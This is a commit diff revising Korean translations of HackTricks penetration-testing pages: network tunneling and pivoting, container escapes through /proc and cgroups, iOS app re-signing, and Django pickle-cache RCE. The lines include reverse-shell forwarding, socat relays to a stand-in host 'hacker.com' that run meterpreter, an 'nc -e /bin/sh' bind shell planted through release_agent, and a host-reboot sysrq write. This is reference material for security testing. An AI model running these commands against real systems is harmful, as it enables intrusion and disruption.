mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
ec96c318fb
commit
caedef470a
@ -5,7 +5,7 @@
|
|||||||
## Nmap tip
|
## Nmap tip
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **ICMP** 및 **SYN** 스캔은 socks 프록시를 통해 터널링할 수 없으므로 **ping 탐지**를 **비활성화**해야 합니다 (`-Pn`) 그리고 **TCP 스캔**(`-sT`)을 지정해야 합니다.
|
> **ICMP** 및 **SYN** 스캔은 socks 프록시를 통해 터널링할 수 없으므로 **ping 탐색을 비활성화**해야 합니다 (`-Pn`) 및 **TCP 스캔**을 지정해야 합니다 (`-sT`) 이 작업이 수행되도록 합니다.
|
||||||
|
|
||||||
## **Bash**
|
## **Bash**
|
||||||
|
|
||||||
@ -55,9 +55,9 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
|||||||
```bash
|
```bash
|
||||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||||
```
|
```
|
||||||
### Reverse Port Forwarding
|
### 리버스 포트 포워딩
|
||||||
|
|
||||||
이것은 DMZ를 통해 내부 호스트에서 귀하의 호스트로 리버스 셸을 얻는 데 유용합니다:
|
이는 DMZ를 통해 내부 호스트에서 귀하의 호스트로 리버스 셸을 얻는 데 유용합니다:
|
||||||
```bash
|
```bash
|
||||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||||
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
|
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
|
||||||
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
|||||||
```
|
```
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> **보안 – 테라핀 공격 (CVE-2023-48795)**
|
> **보안 – 테라핀 공격 (CVE-2023-48795)**
|
||||||
> 2023 테라핀 다운그레이드 공격은 중간자 공격자가 초기 SSH 핸드셰이크를 조작하고 **모든 포워딩 채널** ( `-L`, `-R`, `-D` )에 데이터를 주입할 수 있게 합니다. 클라이언트와 서버 모두 패치되었는지 확인하세요 (**OpenSSH ≥ 9.6/LibreSSH 6.7**) 또는 SSH 터널에 의존하기 전에 취약한 `chacha20-poly1305@openssh.com` 및 `*-etm@openssh.com` 알고리즘을 `sshd_config`/`ssh_config`에서 명시적으로 비활성화하세요.
|
> 2023 테라핀 다운그레이드 공격은 중간자 공격자가 초기 SSH 핸드쉐이크를 조작하고 **모든 포워딩 채널** ( `-L`, `-R`, `-D` )에 데이터를 주입할 수 있게 합니다. 클라이언트와 서버 모두 패치되어 있는지 확인하세요 (**OpenSSH ≥ 9.6/LibreSSH 6.7**) 또는 SSH 터널에 의존하기 전에 취약한 `chacha20-poly1305@openssh.com` 및 `*-etm@openssh.com` 알고리즘을 `sshd_config`/`ssh_config`에서 명시적으로 비활성화하세요.
|
||||||
|
|
||||||
## SSHUTTLE
|
## SSHUTTLE
|
||||||
|
|
||||||
@ -136,9 +136,9 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|||||||
```
|
```
|
||||||
## Cobalt Strike
|
## Cobalt Strike
|
||||||
|
|
||||||
### SOCKS proxy
|
### SOCKS 프록시
|
||||||
|
|
||||||
팀 서버에서 모든 인터페이스에서 수신 대기하는 포트를 열어 **비콘을 통해 트래픽을 라우팅**하는 데 사용할 수 있습니다.
|
모든 인터페이스에서 수신 대기하는 팀 서버에서 포트를 열어 **비콘을 통해 트래픽을 라우팅**하는 데 사용할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
beacon> socks 1080
|
beacon> socks 1080
|
||||||
[+] started SOCKS4a server on: 1080
|
[+] started SOCKS4a server on: 1080
|
||||||
@ -158,7 +158,7 @@ To note:
|
|||||||
|
|
||||||
- Beacon의 리버스 포트 포워드는 **개별 머신 간의 중계가 아니라 Team Server로 트래픽을 터널링하기 위해 설계되었습니다**.
|
- Beacon의 리버스 포트 포워드는 **개별 머신 간의 중계가 아니라 Team Server로 트래픽을 터널링하기 위해 설계되었습니다**.
|
||||||
- 트래픽은 **Beacon의 C2 트래픽 내에서 터널링됩니다**, P2P 링크를 포함하여.
|
- 트래픽은 **Beacon의 C2 트래픽 내에서 터널링됩니다**, P2P 링크를 포함하여.
|
||||||
- **리버스 포트 포워드를 생성하는 데 관리자 권한이 필요하지 않습니다**.
|
- **관리자 권한이 필요하지 않습니다** 고포트에서 리버스 포트 포워드를 생성하는 데.
|
||||||
|
|
||||||
### rPort2Port local
|
### rPort2Port local
|
||||||
|
|
||||||
@ -179,7 +179,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
|||||||
## Chisel
|
## Chisel
|
||||||
|
|
||||||
You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||||
**클라이언트와 서버에 대해 동일한 버전을 사용해야 합니다.**
|
**클라이언트와 서버에 동일한 버전을 사용해야 합니다.**
|
||||||
|
|
||||||
### socks
|
### socks
|
||||||
```bash
|
```bash
|
||||||
@ -290,7 +290,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
|||||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||||
#Execute the meterpreter
|
#Execute the meterpreter
|
||||||
```
|
```
|
||||||
비인증 프록시를 우회하려면 피해자의 콘솔에서 마지막 줄 대신 이 줄을 실행할 수 있습니다:
|
이 줄을 희생자의 콘솔에서 마지막 줄 대신 실행하면 **비인증 프록시**를 우회할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||||
```
|
```
|
||||||
@ -335,7 +335,7 @@ echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0
|
|||||||
|
|
||||||
### Port2Port
|
### Port2Port
|
||||||
|
|
||||||
로컬 관리자가 되어야 합니다 (모든 포트에 대해)
|
로컬 관리자여야 합니다 (모든 포트에 대해)
|
||||||
```bash
|
```bash
|
||||||
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
|
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
|
||||||
# Example:
|
# Example:
|
||||||
@ -347,7 +347,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||||||
```
|
```
|
||||||
## SocksOverRDP & Proxifier
|
## SocksOverRDP & Proxifier
|
||||||
|
|
||||||
**RDP 액세스가 시스템에 필요합니다.**\
|
**시스템에 대한 RDP 액세스가 필요합니다.**\
|
||||||
다운로드:
|
다운로드:
|
||||||
|
|
||||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 이 도구는 Windows의 원격 데스크톱 서비스 기능에서 `Dynamic Virtual Channels` (`DVC`)를 사용합니다. DVC는 **RDP 연결을 통한 패킷 터널링**을 담당합니다.
|
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 이 도구는 Windows의 원격 데스크톱 서비스 기능에서 `Dynamic Virtual Channels` (`DVC`)를 사용합니다. DVC는 **RDP 연결을 통한 패킷 터널링**을 담당합니다.
|
||||||
@ -358,7 +358,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||||||
# Load SocksOverRDP.dll using regsvr32.exe
|
# Load SocksOverRDP.dll using regsvr32.exe
|
||||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||||
```
|
```
|
||||||
이제 **`mstsc.exe`**를 사용하여 **RDP**를 통해 **희생자**에 **연결**할 수 있으며, **SocksOverRDP 플러그인이 활성화되었다는** **프롬프트**를 받게 되고, **127.0.0.1:1080**에서 **수신** 대기할 것입니다.
|
이제 **`mstsc.exe`**를 사용하여 **RDP**를 통해 **희생자**에 **연결**할 수 있으며, **SocksOverRDP 플러그인이 활성화되었다는** **프롬프트**를 받게 되고, **127.0.0.1:1080**에서 **대기**할 것입니다.
|
||||||
|
|
||||||
**RDP**를 통해 **연결**하고 희생자 머신에 `SocksOverRDP-Server.exe` 바이너리를 업로드 및 실행합니다:
|
**RDP**를 통해 **연결**하고 희생자 머신에 `SocksOverRDP-Server.exe` 바이너리를 업로드 및 실행합니다:
|
||||||
```
|
```
|
||||||
@ -397,7 +397,7 @@ Proxy 10.0.0.10:8080
|
|||||||
Tunnel 2222:<attackers_machine>:443
|
Tunnel 2222:<attackers_machine>:443
|
||||||
```
|
```
|
||||||
이제, 예를 들어 피해자의 **SSH** 서비스가 포트 443에서 수신 대기하도록 설정하면, 공격자는 포트 2222를 통해 연결할 수 있습니다.\
|
이제, 예를 들어 피해자의 **SSH** 서비스가 포트 443에서 수신 대기하도록 설정하면, 공격자는 포트 2222를 통해 연결할 수 있습니다.\
|
||||||
또한 **meterpreter**를 사용하여 localhost:443에 연결하고 공격자가 포트 2222에서 수신 대기하도록 할 수 있습니다.
|
또한 **meterpreter**를 사용하여 localhost:443에 연결하고 공격자가 포트 2222에서 수신 대기할 수도 있습니다.
|
||||||
|
|
||||||
## YARP
|
## YARP
|
||||||
|
|
||||||
@ -434,7 +434,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
|||||||
```
|
```
|
||||||
#### **PowerShell에서**
|
#### **PowerShell에서**
|
||||||
|
|
||||||
PowerShell에서 dnscat2 클라이언트를 실행하려면 [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)를 사용할 수 있습니다:
|
[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)를 사용하여 PowerShell에서 dnscat2 클라이언트를 실행할 수 있습니다:
|
||||||
```
|
```
|
||||||
Import-Module .\dnscat2.ps1
|
Import-Module .\dnscat2.ps1
|
||||||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||||||
@ -448,7 +448,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
|||||||
|
|
||||||
Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 SOCKS 프록시를 통해 터널링합니다. **기본적으로** proxychains가 사용하는 **DNS** 서버는 **4.2.2.2**입니다(하드코딩됨). 이를 변경하려면 파일을 편집하십시오: _/usr/lib/proxychains3/proxyresolv_ 및 IP를 변경하십시오. **Windows 환경**에 있는 경우 **도메인 컨트롤러**의 IP를 설정할 수 있습니다.
|
Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 SOCKS 프록시를 통해 터널링합니다. **기본적으로** proxychains가 사용하는 **DNS** 서버는 **4.2.2.2**입니다(하드코딩됨). 이를 변경하려면 파일을 편집하십시오: _/usr/lib/proxychains3/proxyresolv_ 및 IP를 변경하십시오. **Windows 환경**에 있는 경우 **도메인 컨트롤러**의 IP를 설정할 수 있습니다.
|
||||||
|
|
||||||
## Go의 터널
|
## Go에서의 터널
|
||||||
|
|
||||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||||
|
|
||||||
@ -459,7 +459,7 @@ Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 SOC
|
|||||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||||
|
|
||||||
두 시스템 모두에서 루트 권한이 필요하며, ICMP 에코 요청을 사용하여 터널 어댑터를 생성하고 데이터 간에 터널링합니다.
|
두 시스템 모두에서 루트 권한이 필요하며, ICMP 에코 요청을 사용하여 TUN 어댑터를 생성하고 데이터 간에 터널링합니다.
|
||||||
```bash
|
```bash
|
||||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||||
@ -547,7 +547,7 @@ addr: file:///tmp/httpbin/
|
|||||||
```
|
```
|
||||||
## Cloudflared (Cloudflare Tunnel)
|
## Cloudflared (Cloudflare Tunnel)
|
||||||
|
|
||||||
Cloudflare의 `cloudflared` 데몬은 **로컬 TCP/UDP 서비스**를 노출하는 아웃바운드 터널을 생성할 수 있으며, 이는 인바운드 방화벽 규칙을 요구하지 않고 Cloudflare의 엣지를 만남의 지점으로 사용합니다. 이는 이그레스 방화벽이 HTTPS 트래픽만 허용하고 인바운드 연결이 차단될 때 매우 유용합니다.
|
Cloudflare의 `cloudflared` 데몬은 **로컬 TCP/UDP 서비스**를 노출하는 아웃바운드 터널을 생성할 수 있으며, 이를 위해 인바운드 방화벽 규칙이 필요하지 않습니다. Cloudflare의 엣지를 만남의 지점으로 사용합니다. 이는 이그레스 방화벽이 HTTPS 트래픽만 허용하고 인바운드 연결이 차단될 때 매우 유용합니다.
|
||||||
|
|
||||||
### Quick tunnel one-liner
|
### Quick tunnel one-liner
|
||||||
```bash
|
```bash
|
||||||
@ -578,7 +578,7 @@ cloudflared tunnel run mytunnel
|
|||||||
|
|
||||||
## FRP (Fast Reverse Proxy)
|
## FRP (Fast Reverse Proxy)
|
||||||
|
|
||||||
[`frp`](https://github.com/fatedier/frp)는 **TCP, UDP, HTTP/S, SOCKS 및 P2P NAT 홀 펀칭**을 지원하는 적극적으로 유지 관리되는 Go 리버스 프록시입니다. **v0.53.0 (2024년 5월)**부터는 **SSH 터널 게이트웨이**로 작동할 수 있어, 대상 호스트가 추가 이진 파일 없이 기본 OpenSSH 클라이언트만 사용하여 리버스 터널을 생성할 수 있습니다.
|
[`frp`](https://github.com/fatedier/frp)는 **TCP, UDP, HTTP/S, SOCKS 및 P2P NAT 홀 펀칭**을 지원하는 적극적으로 유지 관리되는 Go 리버스 프록시입니다. **v0.53.0 (2024년 5월)**부터는 **SSH 터널 게이트웨이**로 작동할 수 있어, 대상 호스트가 추가 이진 파일 없이 기본 OpenSSH 클라이언트를 사용하여 리버스 터널을 생성할 수 있습니다.
|
||||||
|
|
||||||
### 클래식 리버스 TCP 터널
|
### 클래식 리버스 TCP 터널
|
||||||
```bash
|
```bash
|
||||||
|
|||||||
@ -84,7 +84,7 @@ echo b > /proc/sysrq-trigger # 호스트 재부팅
|
|||||||
#### **`/proc/kmsg`**
|
#### **`/proc/kmsg`**
|
||||||
|
|
||||||
- 커널 링 버퍼 메시지를 노출함.
|
- 커널 링 버퍼 메시지를 노출함.
|
||||||
- 커널 익스플로잇, 주소 누출 및 민감한 시스템 정보를 제공하는 데 도움을 줄 수 있음.
|
- 커널 익스플로잇, 주소 유출 및 민감한 시스템 정보를 제공하는 데 도움을 줄 수 있음.
|
||||||
|
|
||||||
#### **`/proc/kallsyms`**
|
#### **`/proc/kallsyms`**
|
||||||
|
|
||||||
@ -102,7 +102,7 @@ echo b > /proc/sysrq-trigger # 호스트 재부팅
|
|||||||
#### **`/proc/kcore`**
|
#### **`/proc/kcore`**
|
||||||
|
|
||||||
- 시스템의 물리적 메모리를 ELF 코어 형식으로 나타냄.
|
- 시스템의 물리적 메모리를 ELF 코어 형식으로 나타냄.
|
||||||
- 읽기는 호스트 시스템 및 다른 컨테이너의 메모리 내용을 누출할 수 있음.
|
- 읽기는 호스트 시스템 및 다른 컨테이너의 메모리 내용을 유출할 수 있음.
|
||||||
- 큰 파일 크기는 읽기 문제나 소프트웨어 충돌을 초래할 수 있음.
|
- 큰 파일 크기는 읽기 문제나 소프트웨어 충돌을 초래할 수 있음.
|
||||||
- [2019년 /proc/kcore 덤프하기](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)에서 자세한 사용법.
|
- [2019년 /proc/kcore 덤프하기](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)에서 자세한 사용법.
|
||||||
|
|
||||||
@ -320,7 +320,7 @@ mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
|
|||||||
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # requires CVE-2022-0492
|
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # requires CVE-2022-0492
|
||||||
|
|
||||||
echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
|
echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
|
||||||
sh -c "echo 0 > /tmp/x/cgroup.procs" # triggers the empty-cgroup event
|
sh -c "echo 0 > /tmp/x/cgroup.procs" # 빈 cgroup 이벤트를 트리거합니다.
|
||||||
```
|
```
|
||||||
|
|
||||||
When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
|
When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
|
||||||
|
|||||||
@ -4,11 +4,11 @@
|
|||||||
|
|
||||||
## Main idea
|
## Main idea
|
||||||
|
|
||||||
**`get_task_allow`** 권한으로 서명된 애플리케이션은 타사 애플리케이션이 **`task_for_pid()`**라는 함수를 초기 애플리케이션의 프로세스 ID를 인수로 사용하여 실행할 수 있도록 허용하여 해당 작업 포트를 얻고(제어하고 메모리에 접근할 수 있음) 있습니다.
|
**`get_task_allow`** 권한으로 서명된 애플리케이션은 타사 애플리케이션이 **`task_for_pid()`**라는 함수를 초기 애플리케이션의 프로세스 ID를 인수로 사용하여 실행할 수 있도록 허용하여 해당 작업 포트를 얻을 수 있게 합니다(제어하고 메모리에 접근할 수 있게 됨).
|
||||||
|
|
||||||
하지만 IPA를 가져와서 권한으로 재서명한 후 장치에 다시 플래시하는 것은 그리 간단하지 않습니다. 이는 FairPlay 보호 때문입니다. 앱의 서명이 변경되면 DRM(디지털 권리 관리) 키가 **무효화되어 앱이 작동하지 않습니다**.
|
하지만 IPA를 가져와서 권한으로 재서명한 후 장치에 다시 플래시하는 것은 그리 간단하지 않습니다. 이는 FairPlay 보호 때문입니다. 앱의 서명이 변경되면 DRM(디지털 권리 관리) 키가 **무효화되어 앱이 작동하지 않습니다**.
|
||||||
|
|
||||||
구형 탈옥된 장치에서는 IPA를 설치하고, **좋아하는 도구를 사용하여 복호화한 후**(예: Iridium 또는 frida-ios-dump) 장치에서 다시 가져올 수 있습니다. 가능하다면 복호화된 IPA를 클라이언트에게 요청하는 것이 좋습니다.
|
구형 탈옥된 장치에서는 IPA를 설치하고, **좋아하는 도구**(예: Iridium 또는 frida-ios-dump)를 사용하여 복호화한 후 장치에서 다시 가져올 수 있습니다. 그러나 가능하다면 복호화된 IPA를 클라이언트에게 요청하는 것이 좋습니다.
|
||||||
|
|
||||||
|
|
||||||
## Obtain decrypted IPA
|
## Obtain decrypted IPA
|
||||||
@ -18,16 +18,16 @@
|
|||||||
1. iPhone에 펜테스트할 앱을 설치합니다.
|
1. iPhone에 펜테스트할 앱을 설치합니다.
|
||||||
2. macOS에서 [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)를 설치하고 실행합니다.
|
2. macOS에서 [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)를 설치하고 실행합니다.
|
||||||
3. Mac에서 `Terminal`을 열고 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`로 이동합니다. 나중에 이 폴더에 IPA가 나타납니다.
|
3. Mac에서 `Terminal`을 열고 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`로 이동합니다. 나중에 이 폴더에 IPA가 나타납니다.
|
||||||
4. iOS 장치가 표시되어야 합니다. 더블 클릭한 후 상단 메뉴 바에서 Add + → Apps를 클릭합니다.
|
4. iOS 장치가 보일 것입니다. 더블 클릭한 후 상단 메뉴 바에서 Add + → Apps를 클릭합니다.
|
||||||
5. Add를 클릭하면 Configurator가 Apple에서 IPA를 다운로드하고 장치에 푸시하려고 시도합니다. 이전에 제 권고를 따르고 IPA를 이미 설치했다면 앱을 재설치하라는 메시지가 나타납니다.
|
5. Add를 클릭하면 Configurator가 Apple에서 IPA를 다운로드하고 장치에 푸시하려고 시도합니다. 이전에 제 추천을 따르고 IPA를 이미 설치했다면 앱을 재설치하라는 프롬프트가 나타납니다.
|
||||||
6. IPA는 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`에 다운로드되어 있으며, 여기서 가져올 수 있습니다.
|
6. IPA는 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`에 다운로드되며, 여기서 가져올 수 있습니다.
|
||||||
|
|
||||||
이 프로세스에 대한 더 자세한 정보는 [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)를 확인하세요.
|
이 과정에 대한 더 자세한 정보는 [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)를 확인하세요.
|
||||||
|
|
||||||
|
|
||||||
### Decrypting the app
|
### Decrypting the app
|
||||||
|
|
||||||
IPA를 복호화하기 위해 설치할 것입니다. 그러나 구형 탈옥된 iPhone이 있는 경우, 애플리케이션에서 지원하지 않을 가능성이 높습니다. 일반적으로 앱은 최신 버전만 지원합니다.
|
IPA를 복호화하기 위해 설치할 것입니다. 그러나 구형 탈옥된 iPhone이 있다면, 애플리케이션에서 지원하지 않을 가능성이 높습니다. 일반적으로 앱은 최신 버전만 지원하기 때문입니다.
|
||||||
|
|
||||||
따라서 설치하려면 IPA를 압축 해제하세요:
|
따라서 설치하려면 IPA를 압축 해제하세요:
|
||||||
```bash
|
```bash
|
||||||
@ -51,7 +51,7 @@ Cydia에서 **AppSync Unified tweak**가 필요할 수 있으니 `invalid signat
|
|||||||
|
|
||||||
### 권한 패치 및 재서명
|
### 권한 패치 및 재서명
|
||||||
|
|
||||||
`get-task-allow` 권한으로 애플리케이션을 재서명하기 위해 `app-signer`, `codesign`, `iResign`과 같은 여러 도구가 있습니다. `app-signer`는 재서명할 IPA 파일을 지정하고 **`get-taks-allow`**를 설정하며 사용할 인증서와 프로비저닝 프로필을 쉽게 지정할 수 있는 매우 사용자 친화적인 인터페이스를 제공합니다.
|
`get-task-allow` 권한으로 애플리케이션을 재서명하기 위해 `app-signer`, `codesign`, `iResign`과 같은 여러 도구가 있습니다. `app-signer`는 재서명할 IPA 파일을 지정하고 **`get-task-allow`**를 설정하며 사용할 인증서와 프로비저닝 프로필을 쉽게 지정할 수 있는 매우 사용자 친화적인 인터페이스를 제공합니다.
|
||||||
|
|
||||||
인증서 및 서명 프로필에 관해서는 Apple이 Xcode를 통해 모든 계정에 **무료 개발자 서명 프로필**을 제공합니다. 앱을 생성하고 하나를 구성하세요. 그런 다음, `Settings` → `Privacy & Security`로 이동하여 **개발자 앱을 신뢰하도록 iPhone을 구성**하세요. `Developer Mode`를 클릭합니다.
|
인증서 및 서명 프로필에 관해서는 Apple이 Xcode를 통해 모든 계정에 **무료 개발자 서명 프로필**을 제공합니다. 앱을 생성하고 하나를 구성하세요. 그런 다음, `Settings` → `Privacy & Security`로 이동하여 **개발자 앱을 신뢰하도록 iPhone을 구성**하세요. `Developer Mode`를 클릭합니다.
|
||||||
|
|
||||||
@ -69,7 +69,7 @@ iOS 16부터 Apple은 **개발자 모드**를 도입했습니다: `get_task_allo
|
|||||||
2. **설정 → 개인 정보 보호 및 보안 → 개발자 모드**로 이동하여 활성화합니다.
|
2. **설정 → 개인 정보 보호 및 보안 → 개발자 모드**로 이동하여 활성화합니다.
|
||||||
3. 장치가 재부팅됩니다; 암호를 입력한 후 **개발자 모드 켜기**를 요청받습니다.
|
3. 장치가 재부팅됩니다; 암호를 입력한 후 **개발자 모드 켜기**를 요청받습니다.
|
||||||
|
|
||||||
개발자 모드는 비활성화하거나 전화기를 초기화할 때까지 활성 상태로 유지되므로 이 단계는 장치당 한 번만 수행하면 됩니다. [Apple 문서](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)에서는 보안 의미를 설명합니다.
|
개발자 모드는 비활성화하거나 전화기를 초기화할 때까지 활성 상태로 유지되므로 이 단계는 장치당 한 번만 수행하면 됩니다. [Apple 문서](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)에서 보안 의미를 설명합니다.
|
||||||
|
|
||||||
### 현대적인 사이드로딩 옵션
|
### 현대적인 사이드로딩 옵션
|
||||||
|
|
||||||
|
|||||||
@ -1,20 +1,20 @@
|
|||||||
# Django
|
# Django
|
||||||
|
|
||||||
{{#include /banners/hacktricks-training.md}}
|
{{#include /src/banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## 캐시 조작을 통한 RCE
|
## Cache Manipulation to RCE
|
||||||
Django의 기본 캐시 저장 방법은 [Python pickles](https://docs.python.org/3/library/pickle.html)로, [신뢰할 수 없는 입력이 언픽클될 경우](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) RCE로 이어질 수 있습니다. **공격자가 캐시에 대한 쓰기 접근 권한을 얻으면, 이 취약점을 기반 서버에서 RCE로 확대할 수 있습니다**.
|
Django의 기본 캐시 저장 방법은 [Python pickles](https://docs.python.org/3/library/pickle.html)로, [신뢰할 수 없는 입력이 언픽클될 경우](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) RCE로 이어질 수 있습니다. **공격자가 캐시에 대한 쓰기 접근 권한을 얻으면, 이 취약점을 기반 서버에서 RCE로 상승시킬 수 있습니다**.
|
||||||
|
|
||||||
Django 캐시는 네 가지 장소 중 하나에 저장됩니다: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [메모리](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [파일](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), 또는 [데이터베이스](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis 서버나 데이터베이스에 저장된 캐시는 가장 가능성이 높은 공격 벡터(Redis 주입 및 SQL 주입)이며, 공격자는 파일 기반 캐시를 사용하여 임의의 쓰기를 RCE로 전환할 수도 있습니다. 유지 관리자는 이를 비문제로 표시했습니다. 캐시 파일 폴더, SQL 테이블 이름 및 Redis 서버 세부정보는 구현에 따라 다를 수 있습니다.
|
Django 캐시는 네 곳 중 하나에 저장됩니다: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [메모리](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [파일](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), 또는 [데이터베이스](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis 서버나 데이터베이스에 저장된 캐시는 가장 가능성이 높은 공격 벡터(Redis 주입 및 SQL 주입)이며, 공격자는 파일 기반 캐시를 사용하여 임의의 쓰기를 RCE로 전환할 수도 있습니다. 유지 관리자는 이를 비문제로 표시했습니다. 캐시 파일 폴더, SQL 테이블 이름 및 Redis 서버 세부정보는 구현에 따라 다를 수 있습니다.
|
||||||
|
|
||||||
이 HackerOne 보고서는 SQLite 데이터베이스에 저장된 Django 캐시를 악용하는 훌륭하고 재현 가능한 예제를 제공합니다: https://hackerone.com/reports/1415436
|
